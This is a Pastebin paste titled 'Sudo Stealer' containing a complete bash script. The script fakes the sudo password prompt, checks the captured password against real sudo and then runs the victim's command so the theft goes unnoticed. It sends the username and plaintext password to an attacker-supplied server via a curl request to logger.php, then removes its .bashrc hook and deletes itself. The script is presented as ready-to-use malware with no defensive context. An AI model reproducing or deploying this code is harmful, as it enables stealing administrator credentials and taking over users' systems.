0xspade

Sudo Stealer

Mar 18th, 2017
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.72 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. /usr/bin/sudo -k
  4. SITE="example.com" ### put your Server here :v
  5. i=0
  6. while [ $i != 3 ]; do
  7.     echo -n "[+] Password for $(whoami): "
  8.     read -s xd
  9.     echo
  10.     echo -e "$xd\n"| /usr/bin/sudo -S true 2>/dev/null
  11.     if /usr/bin/sudo -n true 2>/dev/null; then
  12.         break
  13.     else
  14.         echo "Sorry, Try Again!"
  15.     fi
  16. unset xd
  17.     let i=$i+1
  18. done
  19.  
  20. if ! /usr/bin/sudo -n true 2>/dev/null;then
  21.     echo "sudo: 3 Incorrect password Attempts"
  22.     exit 1
  23. fi
  24.  
  25. sed -i "/\.xd/d" ~/.bashrc
  26.  
  27. export PATH=$(echo $PATH| cut -d: -f2-)
  28.  
  29. echo -e "$xd\n" | /usr/bin/sudo -S "$@"
  30.  
  31. if [ "$(ping $SITE -c1 2>/dev/null)" ]; then
  32.     curl -s $SITE/logger.php?user=$(whoami)\&pass=$xd 2>/dev/null
  33.     sleep 2 && ln -f -s /usr/bin/sudo ~/.xd/sudo & rm $0
  34. fi
Add Comment
Please, Sign In to add comment